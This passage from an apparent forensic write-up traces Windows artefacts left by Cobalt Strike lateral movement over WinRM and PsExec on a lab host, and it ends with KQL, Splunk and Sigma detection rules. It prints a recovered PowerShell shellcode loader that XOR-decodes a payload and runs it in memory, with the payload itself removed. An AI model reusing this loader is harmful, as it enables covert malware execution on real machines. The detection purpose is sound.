13:38:10.618 | [evtx/sysmon/7] Process ¨C164C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C165C |
13:38:10.662 | [evtx/sysmon/7] Process ¨C166C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C167C |
13:38:10.662 | [evtx/sysmon/7] Process ¨C168C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C169C |
Event ID 11 – File Create
File create operations are logged when a file is created or overwritten. This event is useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places where malware is dropped during an initial infection.
Our malicious wsmprovhost.exe
process has the PID 9724. The Cobalt Strike Beacon runs under the context of PowerShell, this is why two PowerShell script files are generated by Microsoft to test against Applocker. If the test file executes, then it assumed that Applocker is disabled.
Time | Description |
---|---|
13:38:11.653 | [evtx/sysmon/11] Process C:\Windows\system32\wsmprovhost.exe (pid=9724) created file C:\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_amxqtozh.ie2.psm1 run by user ‘CORP\alice’ |
13:38:11.653 | [evtx/sysmon/11] Process C:\Windows\system32\wsmprovhost.exe (pid=9724) created file C:\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_psmlbjet.gus.ps1 run by user ‘CORP\alice’ |
13:38:29.313 | [evtx/sysmon/11] Process C:\Windows\system32\wsmprovhost.exe (pid=9724) created file C:\Users\alice\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache run by user ‘CORP\alice’ |
13:38:29.313 | [evtx/sysmon/11] Process C:\Windows\system32\wsmprovhost.exe (pid=9724) created file C:\Users\alice\AppData\Local\Microsoft\Windows\PowerShell run by user ‘CORP\alice’ |
Event ID 17 / 18 – Pipe Created or Accessed
Pipe creation operations map to these event types when a named pipe is created (event ID 17) and when a named pipe is created or accessed (event ID 18).
The previous spotted processes with PID 4 and 9724 used several names pipes. The created pipe \\msagend_bd
is made by the SMB beacon (by default) for the communication with the C2.
Time | Description |
---|---|
13:38:11.959 | [evtx/sysmon/17] User ‘CORP\alice’ used the process C:\Windows\system32\wsmprovhost.exe (pid: 9724) to create named pipe \PSHost.132924298901870926.9724.DefaultAppDomain.wsmprovhost |
13:38:17.148 | [evtx/sysmon/17] User ‘CORP\alice’ used the process C:\Windows\system32\wsmprovhost.exe (pid: 9724) to create named pipe \msagent_bd |
13:38:10.558 | [evtx/sysmon/18] User ‘CORP\alice’ used the process C:\Windows\system32\wsmprovhost.exe (pid: 9724) to connect named pipe \lsass |
13:38:19.169 | [evtx/sysmon/18] User ‘NT AUTHORITY\SYSTEM’ used the process System (pid: 4) to connect named pipe \msagent_bd |
Findings
Now that we have seen the events and other artefacts generated by the execution of the jump winrm64
command, let us dwell on the evidence present natively on a Windows 10 system out of the box.
Winevtx – Microsoft-Windows-Security-Auditing
Like the remote-exec winrm
command, 5 authentications (event ID 4624) are recorded with the logon type ‘3’ from the compromised account CORP\alice, along with the associated privilege assignment events (event ID 4672). The source IP address and hostname are not always recorded, nor is the logon process name.
Time | Description |
---|---|
13:38:11.036 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005eb099) with ‘-‘ |
13:38:11.036 | [evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005eb099): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege |
13:38:13.705 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005edc9b) with ‘-‘ |
13:38:13.705 | [evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005edc9b): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege |
13:38:13.828 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005edd18) with ‘-‘ |
13:38:13.828 | [evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005edd18): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege |
13:38:19.168 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000005f30a3) with ‘-‘ |
13:38:19.168 | [evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005f30a3): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege |
13:39:05.880 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x000000000061217d) with ‘-‘ |
13:39:05.880 | [evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000061217d): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege |
13:39:05.893 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x0000000000612198) with ‘-‘ |
13:39:05.893 | [evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x0000000000612198): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege |
The five network sessions (logon_type = 3) opened by user « CORP\alice » end a few moments later, just after the remote code execution.
Time | Description |
---|---|
13:39:05.879 | [evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005eb099) from logon type=3 |
13:39:05.892 | [evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005edd18) from logon type=3 |
13:39:05.924 | [evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005edc9b) from logon type=3 |
13:39:05.924 | [evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000061217d) from logon type=3 |
13:39:21.622 | [evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005f30a3) from logon type=3 |
Winevtx – Microsoft-Windows-WinRM
Obviously, some good indicators to detect WinRM lateral movements are stored in the Microsoft-Windows-WinRM log file, like the event ID 91 (Creating WSMan shell on server) on the target host. This event indicates that the WinRM service has begun to listen for incoming connections on the specified ports (HTTP and HTTPS by default). On our targeted host, this event was the only record in the Microsoft-Windows-WinRM log file after the remote code execution.
Time | Description |
---|---|
13:38:10.650 | [evtx/winrm/91] Creating WSMan shell on server with ResourceURI: ‘http://schemas.microsoft.com/powershell/Microsoft.PowerShell‘ |
Winevtx – PowerShell / Microsoft-Windows-PowerShell
While the process of creating the PowerShell beacon on the remote host is done via the Windows Remote Management (WinRM) service and not via a PowerShell session, you can detect the wsmprovhost.exe process using the PowerShell log files if PowerShell script block logging is enabled.
Unlike the remote-exec winrm
command, the jump winrm64
command generates a PowerShell event ID 4104 because the block content was considered as suspicious. Script block logging events are recorded when a user starts a new session using the PowerShell remoting feature and stores blocks of code as they are executed by the PowerShell engine. This allows capturing the full PowerShell Beacon.
N.B.: Starting from PowerShell 5.0, anything that is determined as suspicious by AMSI (Antimalware Scan Interface) will automatically log a Script block/4104 event with a level of Warning4.
It is important to note that the event 4104 will be generated only when a user starts a new session using the PowerShell remoting feature, and not when a session is started using the jump winrm64
command in Cobalt Strike. All 29 events 4104 have been merged into a single event in the following timeline.
Time | Description |
---|---|
13:38:11.964 | [evtx/powershell/53504] Windows PowerShell has started an IPC listening thread on process ‘9724’ in AppDomain ‘DefaultAppDomain’ |
13:38:13.007 | [evtx/powershell/600] The PowerShell provider ‘Environment’ hosted by application C:\Windows\system32\wsmprovhost.exe -Embedding is Started. |
13:38:13.007 | [evtx/powershell/600] The PowerShell provider ‘Alias’ hosted by application C:\Windows\system32\wsmprovhost.exe -Embedding is Started. |
13:38:13.007 | [evtx/powershell/600] The PowerShell provider ‘Registry’ hosted by application C:\Windows\system32\wsmprovhost.exe -Embedding is Started. |
13:38:13.027 | [evtx/powershell/600] The PowerShell provider ‘Variable’ hosted by application C:\Windows\system32\wsmprovhost.exe -Embedding is Started. |
13:38:13.027 | [evtx/powershell/600] The PowerShell provider ‘Function’ hosted by application C:\Windows\system32\wsmprovhost.exe -Embedding is Started. |
13:38:13.027 | [evtx/powershell/600] The PowerShell provider ‘FileSystem’ hosted by application C:\Windows\system32\wsmprovhost.exe -Embedding is Started. |
13:38:13.099 | [evtx/powershell/400] The PowerShell engine state hosted by application C:\Windows\system32\wsmprovhost.exe -Embedding is changed from ‘None’ to ‘Available’. |
13:38:14.362 | [evtx/powershell/4104] The remote PowerShell scriptblock named ‘3cdb4718-452a-469b-bf94-b8a1ad197fa6 ‘ is executed (29 blocks) |
The recorded payload stored in the event 4104 (and split into 29 pieces of code) contains two functions, func_get_proc_address
and func_get_delegate_type
. These two PowerShell functions are likely used to dynamically load and execute unmanaged code in a managed environment:
func_get_proc_address
appears to use theMicrosoft.Win32.UnsafeNativeMethods
class to load a function pointer for a specified procedure in a specified module. This function is commonly used in interop scenarios when calling unmanaged functions from managed code.func_get_delegate_type
appears to dynamically create a delegate type that can be used to invoke a function with a specified signature. This function may be used in scenarios where a delegate with a specific signature is required but cannot be generated at compile time.
Together, these functions could be used to dynamically load and execute unmanaged code with a specific signature in a managed environment. They will be used by the following scheme (base64-encoded payloads have been removed for more readability):
<pre><code><span class="k">If</span> <span class="p">(</span><span class="no">[IntPtr]</span><span class="p">::</span><span class="n">size</span> <span class="o">-eq</span> <span class="n">8</span><span class="p">)</span> <span class="p">{</span>
<span class="no">[Byte[]]</span><span class="nv">$var_code</span> <span class="p">=</span> <span class="no">[System.Convert]</span><span class="p">::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="s2">"... base64-encoded payload ..."</span><span class="p">)</span>
<span class="k">for</span> <span class="p">(</span><span class="nv">$x</span> <span class="p">=</span> <span class="n">0</span><span class="p">;</span> <span class="nv">$x</span> <span class="o">-lt</span> <span class="nv">$var_code</span><span class="p">.</span><span class="n">Count</span><span class="p">;</span> <span class="nv">$x</span><span class="p">++)</span> <span class="p">{</span>
<span class="nv">$var_code</span><span class="p">[</span><span class="nv">$x</span><span class="p">]</span> <span class="p">=</span> <span class="nv">$var_code</span><span class="p">[</span><span class="nv">$x</span><span class="p">]</span> <span class="o">-bxor</span> <span class="n">35</span>
<span class="p">}</span>
<span class="nv">$var_va</span> <span class="p">=</span> <span class="no">[System.Runtime.InteropServices.Marshal]</span><span class="p">::</span><span class="n">GetDelegateForFunctionPointer</span><span class="p">((</span><span class="n">func_get_proc_address</span> <span class="n">kernel32</span><span class="p">.</span><span class="n">dll</span> <span class="n">VirtualAlloc</span><span class="p">)</span> <span class="p">(</span><span class="n">func_get_delegate_type</span> <span class="p">@(</span><span class="no">[IntPtr] [UInt32] [UInt32] [UInt32]</span><span class="p">)</span> <span class="p">(</span><span class="no">[IntPtr]</span><span class="p">)))</span>
<span class="nv">$var_buffer</span> <span class="p">=</span> <span class="nv">$var_va</span><span class="p">.</span><span class="n">Invoke</span><span class="p">(</span><span class="no">[IntPtr]</span><span class="p">::</span><span class="n">Zero</span> <span class="nv">$var_code</span><span class="p">.</span><span class="n">Length</span> <span class="n">0x3000</span> <span class="n">0x40</span><span class="p">)</span>
<span class="no">[System.Runtime.InteropServices.Marshal]</span><span class="p">::</span><span class="n">Copy</span><span class="p">(</span><span class="nv">$var_code</span> <span class="n">0</span> <span class="nv">$var_buffer</span> <span class="nv">$var_code</span><span class="p">.</span><span class="n">length</span><span class="p">)</span>
<span class="nv">$var_runme</span> <span class="p">=</span> <span class="no">[System.Runtime.InteropServices.Marshal]</span><span class="p">::</span><span class="n">GetDelegateForFunctionPointer</span><span class="p">(</span><span class="nv">$var_buffer</span> <span class="p">(</span><span class="n">func_get_delegate_type</span> <span class="p">@(</span><span class="no">[IntPtr]</span><span class="p">)</span> <span class="p">(</span><span class="no">[Void]</span><span class="p">)))</span>
<span class="nv">$var_runme</span><span class="p">.</span><span class="n">Invoke</span><span class="p">(</span><span class="no">[IntPtr]</span><span class="p">::</span><span class="n">Zero</span><span class="p">)</span>
<span class="p">}</span>
</code></pre>
The PowerShell script is designed to decode, inject and execute a base64-encoded shellcode in the current process using dynamic memory allocation and function pointers.
- First, the code checks if the size of
IntPtr
is 8, which indicates a 64-bit operating system. If the system is running on a 64-bit architecture, the script continues to execute. - Next, it converts the base64-encoded payload into a byte array using the
[System.Convert]::FromBase64String
method and applies a bitwise XOR operation with the value 35 to each byte. This is likely used to obfuscate the payload by applying a simple obfuscation technique. - After that, the code retrieves the function pointer for the
VirtualAlloc
function in thekernel32.dll
library using thefunc_get_proc_address
function. It also uses thefunc_get_delegate_type
function to define a delegate type with the appropriate parameters for theVirtualAlloc
function. The code uses theMarshal.Copy
method to copy the byte array containing the shellcode into the allocated memory. - Finally, the code retrieves the function pointer for the shellcode using the
Marshal.GetDelegateForFunctionPointer
method and creates a delegate of typeVoid
that can invoke the shellcode. The shellcode is then executed by calling the delegate with theInvoke()
method. This causes the payload to be executed in memory.
Prefecth – Program execution
Since the wsmprohost.exe
process is used by the Windows Remote Management (WinRM) service to handle the incoming connection and execute the command or payload, the Prefecth artefacts can successfully detect the execution of wsmprohost.exe
.
Time | Description |
---|---|
13:38:10.193 | [prefetch] Prefetch [WSMPROVHOST.EXE] was executed – run count 2 path hints: \WINDOWS\SYSTEM32\WSMPROVHOST.EXE hash: 0xEF06207C volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd} ] |
It is important to mention that the presence of wsmprovhost.exe
alone is not necessarily an indication of malicious activity. The process is a legitimate component of the Windows operating system and is typically used for system management and administration tasks.
File System – MFT
As mentioned earlier in the Sysmon event ID 7, in that case the MFT can be used to get information on the images loaded by the wsmprovhost.exe
process. As a matter of fact, accesses to many DLLs can be observed within the MFT.
Time | Description |
---|---|
13:38:10.349 | [fs/mft][.a..] File \Windows\System32\WsmSvc.dll ($STANDARD_INFORMATION), MFT:44064-1 |
13:38:10.523 | [fs/mft][.a..] File \Windows\System32\wsmplpxy.dll ($STANDARD_INFORMATION), MFT:44028-1 |
13:38:10.600 | [fs/mft][.a..] File \Windows\System32\atl.dll ($STANDARD_INFORMATION), MFT:39996-1 |
13:38:13.130 | [fs/mft][.a..] File \Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll ($STANDARD_INFORMATION), MFT:35638-1 |
13:38:18.333 | [fs/mft][.a..] File \Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll ($STANDARD_INFORMATION), MFT:36435-1 |
13:38:30.553 | [fs/mft][.a..] File \Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll ($STANDARD_INFORMATION), MFT:1645-2 |
13:38:36.087 | [fs/mft][.a..] File \Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll ($STANDARD_INFORMATION), MFT:35566-1 |
13:38:42.286 | [fs/mft][.a..] File \Windows\assembly\NativeImages_v4.0.30319_32\System\68e52ded8d0e73920808d8880ed14efd\System.ni.dll ($STANDARD_INFORMATION), MFT:1733-2 |
13:38:42.474 | [fs/mft][.a..] File \Windows\assembly\NativeImages_v4.0.30319_32\System.Core\62fe5fc1b5bafb28a19a2754318abf00\System.Core.ni.dll ($STANDARD_INFORMATION), MFT:1745-2 |
In our case, since the Windows Remote Management (WinRM) service has run for the first time, the birth of the prefetch file can be observed in the MFT (here in both $FILE_NAME
and $STANDARD_INFORMATION
of the WSMPROVHOST.EXE-EF06207C.pf
file), otherwise only its modification would be visible. It is possible to notice, as expected, that the execution datetime recorded in the Prefetch file occurs 10 seconds before the file itself is created on the file system.
Time | Description |
---|---|
13:38:20.349 | [fs/mft][…b] File ‘\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf’ ($STANDARD_INFORMATION), MFT:106956-3 |
13:38:20.349 | [fs/mft][macb] File ‘\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf’ ($FILE_NAME), MFT:106956-3, PARENT: 93711-2 |
File System – USN journal
Just like the MFT, and as observed in the SysMon logs (event ID 11), the USN journal can also detect the temporary files that are generated by the PowerShell script execution policy stored in the user’s directory here: C:\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_*
.
Time | Description |
---|---|
13:38:11.614 | [fs/usnjrnl] File \Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_psmlbjet.gus.ps1 USN_REASON_FILE_CREATE |
13:38:11.631 | [fs/usnjrnl] File \Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_amxqtozh.ie2.psm1 USN_REASON_FILE_CREATE |
13:38:11.631 | [fs/usnjrnl] File \Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_amxqtozh.ie2.psm1 USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:38:11.631 | [fs/usnjrnl] File \Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_amxqtozh.ie2.psm1 USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:38:11.631 | [fs/usnjrnl] File \Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_psmlbjet.gus.ps1 USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:38:11.631 | [fs/usnjrnl] File \Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_psmlbjet.gus.ps1 USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
In addition, when PowerShell starts running, the C:\Users\alice\AppData\Local\Microsoft\Windows\PowerShell\
folder is created to store the ModuleAnalysisCache
file, created at the same time to store cached information about modules that have been analyzed.
Time | Description |
---|---|
13:38:29.304 | [fs/usnjrnl] File \Users\alice\AppData\Local\Microsoft\Windows\PowerShell USN_REASON_FILE_CREATE |
13:38:29.304 | [fs/usnjrnl] File \Users\alice\AppData\Local\Microsoft\Windows\PowerShell USN_REASON_CLOSE USN_REASON_FILE_CREATE |
13:38:29.304 | [fs/usnjrnl] File \Users\alice\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache USN_REASON_FILE_CREATE |
13:38:29.304 | [fs/usnjrnl] File \Users\alice\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:38:29.304 | [fs/usnjrnl] File \Users\alice\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
Finally, the USN journal also records the creation of the Prefecth file, C:\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf
.
Time | Description |
---|---|
13:38:20.349 | [fs/usnjrnl] File \Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf USN_REASON_FILE_CREATE |
13:38:20.349 | [fs/usnjrnl] File \Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:38:20.349 | [fs/usnjrnl] File \Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
Conclusion
Many artefacts can lead to the conclusion that a beacon has been dropped using WinRM on the victim workstation:
- The WinRM service begins to listen for incoming connections (« Microsoft-Windows-WinRM » event ID 91);
- The PowerShell engine starts (« PowerShell » event ID 400), as well as its providers, hosted by the
C:\Windows\system32\wsmprovhost.exe -Embedding
application (« PowerShell » event ID 600); - Thanks to AMSI, PowerShell scriptblock may record the Cobalt Strike Beacon (« Microsoft-Windows-PowerShell » event ID 4104);
- Regarding the file system and execution artefacts, some events could confirm the drop of the beacon, but cannot be used as proof by themselves:
- The
wsmprohost.exe
executable that is used by the Windows Remote Management (WinRM) service can be seen among the Prefetch files, this file being present in the MFT and in the USN journal; - Accesses to many DLLs can be observed within the MFT, also recorded by « Sysmon » event ID 7 (Image Loaded);
- PowerShell activities also leave traces in the MFT and the USN journal in the user directory of « CORP\alice ».
- Finally, once the proof of execution of the beacon has been established, the origin of the connection can sometimes be recorded by the « Security » event ID 4624 (also with event IDs 4672 and 4634).
Detection Rule Example
The timeline is processed using plaso
(https://plaso.readthedocs.io/) on data collected with DFIR-Orc (https://dfir-orc.github.io/). The availablefields and their names may vary depending on how you use log2timeline
and psort
.
Kibana
The various KQL queries correspond to each aspect of the conclusion stated above and can of course be grouped together. Note that all these events occur in a short period of time.
parser : "winevtx" and source_name : "Microsoft-Windows-WinRM" and eid : 91
parser : "winevtx" and source_name : "PowerShell" and eid : ( 400 or 600 ) and message : *HostApplication=*wsmprovhost.exe*
parser : "winevtx" and source_name : "Microsoft-Windows-PowerShell" and eid : 4104
parser : "winevtx" and source_name : "Microsoft-Windows-Security-Auditing" and eid : (4624 or 4672 or 4634)
parser : "usnjrnl" and message : ( WSMPROVHOST.EXE* or *__PSScriptPolicyTest_* )
parser : "mft" and message : ( *WsmSvc.dll or *atl.dll or *clr.dll or *clrjit.dll or *mscoreei.dll or *mscorlib.ni.dll or *System.Core.ni.dll or *System.ni.dll or *wsmplpxy.dll )
parser : ( "prefetch" or "mft" ) and message : *WSMPROVHOST.EXE*
Splunk
This rule can be the same as the remote-exec winrm
command seen in part 1, and focuses on PowerShell and WinRM events only:
host="*" index="*" parser=winevtx eid=91 OR (eid=400 AND host_application="*wsmprovhost.exe*")
| bin span=15s _time
| eventstats distinct_count(event ID) as dis_count by _time
| where dis_count==2
| table _time eid message dis_count
Sigma
A Sigma rule already exists for this event (sigma/posh_pc_remote_powershell_session.yml at master · SigmaHQ/sigma).
sigma-cli >>> sigma convert -t splunk -p sysmon ../sigma/rules/windows/powershell/powershell_classic/posh_pc_remote_powershell_session.yml
Parsing Sigma rules [####################################] 100%
HostName="ServerRemoteHost" HostApplication="*wsmprovhost.exe*"
Cobalt Strike « jump psexec_psh »
The Cobalt Strike jump psexec_psh
command creates a Beacon on the remote host using the psexec
and PowerShell
techniques. The Beacon type used for this test is smb
.
Microsoft-Windows-Sysmon
Event ID 1 – Process Create
The process creation event provides extended information about a newly created process. The full command line provides context on the process execution. The ProcessGUID field is a unique value for this process across a domain to make event correlation easier. The hash is a full hash of the file with the algorithms in the HashType field.
The process chain created by the jump psexec_psh
command on the victim workstation is cmd.exe -> powershell.exe
. The PowerShell payload is base64 encoded several times, gzip compressed and XOR encrypted (with key « 35 »).
Time | Description |
---|---|
13:45:07.770 | [evtx/sysmon/1] Process created with command C:\\Windows\\SysWOW64\\cmd.exe /b /c start /b /min powershell -nop -w hidden -encodedcommand <base64enc_payload> (id 3608) by user NT AUTHORITY\SYSTEM via C:\\Windows\\System32\\services.exe (id 596) |
13:45:07.813 | [evtx/sysmon/1] Process created with command powershell -nop -w hidden -encodedcommand <base64enc_payload> (id 6920) by user NT AUTHORITY\SYSTEM via C:\\Windows\\SysWOW64\\cmd.exe (id 3608) |
Event ID 3 – Network Connection Detected
The network connection event logs TCP/UDP connections on the machine. Each connection is linked to a process through the ProcessId and ProcessGUID fields. The event also contains the source and destination host names, IP addresses, port numbers and IPv6 status.
In both of our tests, 3 connections are made. The first one on port 135, the second one to a random port and the last one to port 445.
Time | Description |
---|---|
13:45:09.111 | [evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54310) to host – (192.168.56.117:135) (pid=832) |
13:45:09.112 | [evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54311) to host – (192.168.56.117:49692) (pid=596) |
13:45:09.880 | [evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54312) to host – (192.168.56.117:445) (pid=4) |
Event ID 11 – File Created
File create operations are logged when a file is created or overwritten. This event is useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places where malware is dropped during an initial infection.
A Prefetch file is generated for each process executed (cmd.exe
and powershell.exe
) and two PowerShell test scripts generated by Microsoft are created (__PSScriptPolicyTest_<random_number>.ps1
):
Time | Description |
---|---|
13:45:07.842 | [evtx/sysmon/11] Process C:\\Windows\\system32\\svchost.exe (pid=1860) created file C:\\Windows\\Prefetch\\CMD.EXE-AC113AA8.pf with user NT AUTHORITY\SYSTEM |
13:45:09.526 | [evtx/sysmon/11] Process C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe (pid=6920) created file C:\Windows\Temp\__PSScriptPolicyTest_0tg0e3gp.i3q.psm1 with user NT AUTHORITY\SYSTEM |
13:45:09.526 | [evtx/sysmon/11] Process C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe (pid=6920) created file C:\Windows\Temp\__PSScriptPolicyTest_2nmpla2r.cyj.ps1 with user NT AUTHORITY\SYSTEM |
13:45:17.997 | [evtx/sysmon/11] Process C:\\Windows\\system32\\svchost.exe (pid=1860) created file C:\\Windows\\Prefetch\\POWERSHELL.EXE-767FB1AE.pf with user NT AUTHORITY\SYSTEM |
Event ID 13 – Registry Value Set
Registry key and value create and delete operations map to this event type.
Cobalt Strike creates a service to run the PowerShell command as « SYSTEM ». So a registry key with a random name is created under HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc
by the Services.exe
process and the ImagePath
registry key is set to the Beacon path.
Time | Description |
---|---|
13:45:07.758 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process C:\\Windows\\system32\\services.exe (pid 596) has SetValue HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc\\Start value to DWORD (0x00000003) |
13:45:07.758 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process C:\\Windows\\system32\\services.exe (pid 596) has SetValue HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc\\Type value to DWORD (0x00000010) |
13:45:07.760 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process C:\\Windows\\system32\\services.exe (pid 596) has SetValue HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc\\ObjectName value to LocalSystem |
13:45:07.760 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process C:\\Windows\\system32\\services.exe (pid 596) has SetValue HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc\\WOW64 value to DWORD (0x0000014c) |
13:45:07.760 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process C:\\Windows\\system32\\services.exe (pid 596) has SetValue ¨C296C value to ¨C297C |
13:45:07.760 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C298C (pid 596) has SetValue ¨C299C value to DWORD (0x00000000) |
13:45:07.841 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C300C (pid 596) has SetValue ¨C301C value to DWORD (0x00000001) |
13:45:07.842 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C302C (pid 596) has SetValue ¨C303C value to DWORD (0x00000004) |
Event ID 17 – Pipe Created
Pipe creation operations map to this event type.
The default named pipe created by the SMB Beacon for the communication is \\msagent_##
and the default named pipe created for the PowerShell payload staging is \\.\pipe\status_##
.
Time | Description |
---|---|
13:45:08.203 | [evtx/sysmon/17] Process C:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe (pid=6988) created pipe \\msagent_bd with user NT AUTHORITY\SYSTEM |
13:45:09.832 | [evtx/sysmon/17] Process C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe (pid=6920) created pipe \\PSHost.132924303078028554.6920.DefaultAppDomain.powershell with user NT AUTHORITY\SYSTEM |
13:45:11.423 | [evtx/sysmon/17] Process C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe (pid=6920) created pipe \\status_8b with user NT AUTHORITY\SYSTEM |
Findings
Winevtx – Microsoft-Windows-Security-Auditing
Without the audit policies enabled, not many events are generated. Only two successful logons (event ID 4624) are recorded, with the logon type ‘3’ (Network), from the compromised account « CORP\alice ». If correlated, this behavior may help during the investigation to support a hypothesis. The source hostnames are not always recorded, nor is the logon process name.
Time | Description |
---|---|
